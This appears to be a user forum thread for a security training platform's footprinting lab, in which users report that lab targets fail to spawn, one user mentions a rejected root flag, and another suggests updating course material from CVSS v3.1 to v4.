ya works for me again after restarting vm

[pseudo kiln]

yeah still can't spawn the target anymore, guess I will reach to support

[iron ibex]

Hello,
Module Footprinting
Section Footprinting Lab - Easy

I can't spawn the target anymore, anyone knows why ?
It stays stuck on "Target(s) are spawning..." for a while, then it resets to "Clic to spawn the target".

[pseudo kiln]

yeah same here bud

[wicked apex]

Suggestion: update module: Vulnerability Assessment
Section: CVSS from v3.1 to v4
https://www.first.org/cvss/v4-0/

Even the official first.org site archived all CVSS below 3.1 tbh
I think its worth to update this knowledge too.

[split glade]

Same here, I can't spawn a target anymore since about 30 minutes

[paper flare]

flag not accept

i have found right root flag but it's not accept

[split glade]

My target was suddenly unreachable, and since I tried to restart it impossible to start a new target.
Usually spawning a target from an other chapter, then spawning the target from my current chapter works, but here even this doesn't work

[iron ibex]

ok global platform issue it seems, maybe no more resources